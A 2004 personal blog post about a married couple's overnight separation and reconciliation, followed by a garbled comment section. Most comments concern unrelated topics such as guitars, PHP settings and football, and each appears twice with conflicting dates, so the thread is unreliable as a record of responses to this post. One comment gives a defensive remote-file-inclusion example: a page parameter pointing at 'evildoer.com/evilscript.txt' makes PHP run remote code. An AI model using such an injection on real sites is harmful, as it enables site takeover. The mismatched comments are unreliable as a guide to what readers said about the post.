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16 November 2004 30 Comments

Separation

It’s been a long night. Mistakes have been made. Things have been said. And my wife and I are separated at this moment. It’s not a pleasant feeling. In fact, it downright sucks.

At 2:30 this morning, I realized the bathroom light was on and she was up and about doing something. I thought I had missed my alarm so I sat up in bed, asked her what time it was. When she told me it was 2:30 I asked the natural question – “What on earth are you doing up at this time?” She told me she was packing and would be moving in with her parents today. She told me why and after 4 years of struggling with the same issue, I just rolled over and went back to sleep.

When she told me she was leaving, half of me said finally and the other half said “oh, what the crap! now what”.

I’ll be honest. I’m tired of being married. I’ve told her this too but we’ve tried to make it work. We’ve taken every available angle and tried to pursue them to the end.

At what point does a couple say, “We can’t keep going around in circles – we just need to move on”. At what point do we stop trying? I come from a family background that says divorce is never an option, but my emotions are saying “To hell with that!”.

Only time will tell if this is permanent. Part of me wants it to be but the other part wants to get to the other side. We’ll just have to feel it out.

Update: That didn’t take too long. She’s not leaving and we’re going to work through it…. under stipulations. We’ll see.

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Written by Aaron Brazell on November 16, 2004

Popularity: 1% [?]

30 Responses to “Separation”

  1. Peter T Davis 16 November 2004 at 9:16 am #

    Shit! My first thought is poor Devin!

  2. Peter T Davis 16 November 2004 at 8:16 am #

    Shit! My first thought is poor Devin!

  3. Vinnie Garcia 16 November 2004 at 10:44 am #

    Wow, that is sad to hear. Ultimately though, if you two aren't happy together it's not going to do either of you (or your son) any good. Do what's best for yourselves and especially the kid. It's easier for a kid to take something like this earlier than later in my opinion (my parents divorced when I was 17 after 8 years of back and forth), so keep it clean and think of your son first.

  4. Vinnie Garcia 16 November 2004 at 9:44 am #

    Wow, that is sad to hear. Ultimately though, if you two aren’t happy together it’s not going to do either of you (or your son) any good. Do what’s best for yourselves and especially the kid. It’s easier for a kid to take something like this earlier than later in my opinion (my parents divorced when I was 17 after 8 years of back and forth), so keep it clean and think of your son first.

  5. FireWolf 16 November 2004 at 1:36 pm #

    Ruh Roh, Guitars have entered the picture….. Nevermind those drummers, they have an ego only cuz they think they lead the beat….pffffttttt ;)

    Ibanez are good guitars, I have played jacksons, gibsons, and Fenders, i would love to get my hands on a Parker, but they don't make them for lefty's :(

    Carol, shame on you for letting that Ibanez sit there without picking it up, it needs a friend every day :)

  6. FireWolf 2 February 2005 at 7:43 pm #

    Ruh Roh, Guitars have entered the picture….. Nevermind those drummers, they have an ego only cuz they think they lead the beat….pffffttttt ;)

    Ibanez are good guitars, I have played jacksons, gibsons, and Fenders, i would love to get my hands on a Parker, but they don’t make them for lefty’s :(

    Carol, shame on you for letting that Ibanez sit there without picking it up, it needs a friend every day :)

  7. Mark 16 November 2004 at 3:06 pm #

    Shhh….dont tell anyone Im british!! hehe! ;)

  8. Mark 1 February 2005 at 9:49 am #

    Shhh….dont tell anyone Im british!! hehe! ;)

  9. Vinnie Garcia 16 November 2004 at 7:54 pm #

    Eh youse gets used to it ;)

  10. Vinnie Garcia 1 February 2005 at 4:39 pm #

    Eh youse gets used to it ;)

  11. Vinnie Garcia 17 November 2004 at 12:42 am #

    You can also set the register globals flag in Apache via .htaccess:

    1
    php_flag register_globals off

    Though it's better to do this at the php.ini level and not in a PHP script or .htaccess. Sadly though, some hosts just won't turn RG off because some of their customers' systems rely on it.

  12. Vinnie Garcia 1 February 2005 at 3:35 pm #

    You can also set the register globals flag in Apache via .htaccess:

    1
    php_flag register_globals off

    Though it’s better to do this at the php.ini level and not in a PHP script or .htaccess. Sadly though, some hosts just won’t turn RG off because some of their customers’ systems rely on it.

  13. Aaron Brazell 17 November 2004 at 9:35 am #

    Ergh. I'll have to check on that. It's being used on Sean's site and I hadn't noticed those problems.

  14. Aaron Brazell 10 March 2005 at 2:16 pm #

    Ergh. I’ll have to check on that. It’s being used on Sean’s site and I hadn’t noticed those problems.

  15. Aaron Brazell 17 November 2004 at 1:03 pm #

    Mike, of course I wasn't talking about Al Qaeda. Chill, man.

  16. Aaron Brazell 5 March 2005 at 10:37 am #

    Mike, of course I wasn’t talking about Al Qaeda. Chill, man.

  17. Aaron Brazell 17 November 2004 at 1:05 pm #

    Thanks, Dave… I fixed it.

  18. Aaron Brazell 2 March 2005 at 4:20 pm #

    Thanks, Dave… I fixed it.

  19. Sean M. Crawford Sr 17 November 2004 at 1:09 pm #

    Dude I feel you. We all have that kind of moment in our lives. But for those of us that have purpose these moments can be much harder to deal with compared to the average person.

    You have seen me in my moments and have always told me:

    1. It's going to be alright.

    2. This too shall pass.

    3. Keep my head up.

    And last but not least…

    If I ever need a friend to talk about it call on you. Well those rules apply to you too.

    You are my brother & friend and I am here for you CUZIN.

  20. Sean M. Crawford Sr 3 March 2005 at 11:52 am #

    Dude I feel you. We all have that kind of moment in our lives. But for those of us that have purpose these moments can be much harder to deal with compared to the average person.

    You have seen me in my moments and have always told me:

    1. It’s going to be alright.
    2. This too shall pass.
    3. Keep my head up.
    And last but not least…
    If I ever need a friend to talk about it call on you. Well those rules apply to you too.

    You are my brother & friend and I am here for you CUZIN.

  21. Robert Mathews 17 November 2004 at 11:02 pm #

    Here's a simple example of why allow_url_fopen is a problem in the real world.

    I've seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

    And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

    All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

    Moral: allow_url_fopen should *always* be off unless you need it.

    Rob

  22. Robert Mathews 7 September 2005 at 5:21 pm #

    Here’s a simple example of why allow_url_fopen is a problem in the real world.

    I’ve seen several cases where people wrote a PHP script designed to display a bunch of content on a page with a fixed header and footer. They write it something like this:

    And then they run it with something like “http://www.example.com/index.php?page=page5.html”.

    All it takes is someone to come along and type “http://www.example.com/index.php?page=http://evildoer.com/evilscript.txt”, and if allow_url_fopen is turned on, PHP will happily run any PHP code contained in evilscript.txt. It could delete all your files, deface your site, attack other servers… whatever.

    Moral: allow_url_fopen should *always* be off unless you need it.

    Rob

  23. Jeff Clark 18 November 2004 at 1:19 am #

    That sucks to hear man, seriously. Sometimes you have to do what you have to do, but there is one thing I have a gigantic problem with (like it's even my place…)

    To all of those people who say “don't stay together just for the kids”: you have obviously never been the child of a divorce. I had to go through my parent's divorce when I was 5. It sucked. Ass.

    I'm now (almost) 22, and I haven't talked to my father in 15 years. While it is teaching me what I need to do when I become a father, it sucks to not grow up with a father.

    Regardless of what some people say, strongly consider staying together JUST for the kids. Better yet, try counseling. Try seperation. Try ANYTHING, just as long as a divorce is the absolute final choice and you're sure you have absolutely no love left for your wife.

    End of rant :)

  24. Jeff Clark 18 November 2004 at 12:19 am #

    That sucks to hear man, seriously. Sometimes you have to do what you have to do, but there is one thing I have a gigantic problem with (like it’s even my place…)

    To all of those people who say “don’t stay together just for the kids”: you have obviously never been the child of a divorce. I had to go through my parent’s divorce when I was 5. It sucked. Ass.

    I’m now (almost) 22, and I haven’t talked to my father in 15 years. While it is teaching me what I need to do when I become a father, it sucks to not grow up with a father.

    Regardless of what some people say, strongly consider staying together JUST for the kids. Better yet, try counseling. Try seperation. Try ANYTHING, just as long as a divorce is the absolute final choice and you’re sure you have absolutely no love left for your wife.

    End of rant :)

  25. Aaron Brazell 10 December 2004 at 10:42 am #

    It's an interesting topic, for sure. There's alot of speculation about Favre. I like Favre, personally. He's football's Cal Ripken and is nothing but a class act. It seems like everytime he plays on Monday Night Football (current year excepted), it's a spectacular showing from him.

    However, I liked Marino too. I think the endgame here is having Favre enshrined among the game's greatest… something that will already happen. He doesn't need to break Marino's record for that to happen and if he does break it, Marino's greatness will not be diminished either.

    So bottom line, if Favre stays in, great. I'd hate to see him stretch his career beyond what it should be just for another statistic, you know? What will it really prove if that happens? Nothing, really. Favre's greatness is already proven.

  26. Aaron Brazell 8 November 2005 at 1:23 pm #

    It’s an interesting topic, for sure. There’s alot of speculation about Favre. I like Favre, personally. He’s football’s Cal Ripken and is nothing but a class act. It seems like everytime he plays on Monday Night Football (current year excepted), it’s a spectacular showing from him.

    However, I liked Marino too. I think the endgame here is having Favre enshrined among the game’s greatest… something that will already happen. He doesn’t need to break Marino’s record for that to happen and if he does break it, Marino’s greatness will not be diminished either.

    So bottom line, if Favre stays in, great. I’d hate to see him stretch his career beyond what it should be just for another statistic, you know? What will it really prove if that happens? Nothing, really. Favre’s greatness is already proven.

  27. Stephan Segraves 10 December 2004 at 10:42 pm #

    We are ok for the next 50 yrs? My 13 yr. old brother can do the math to figure out that in less than 25 years every person in the work force will be supporting a retiree, compared to the 3/1 ratio we have now. Sounds like a problem to me.

  28. Stephan Segraves 3 February 2005 at 5:34 pm #

    We are ok for the next 50 yrs? My 13 yr. old brother can do the math to figure out that in less than 25 years every person in the work force will be supporting a retiree, compared to the 3/1 ratio we have now. Sounds like a problem to me.

  29. Aaron Brazell 30 October 2005 at 5:38 am #

    Weird is a state of mind, Jesse. :)

  30. Aaron Brazell 15 February 2005 at 11:20 am #

    Weird is a state of mind, Jesse. :)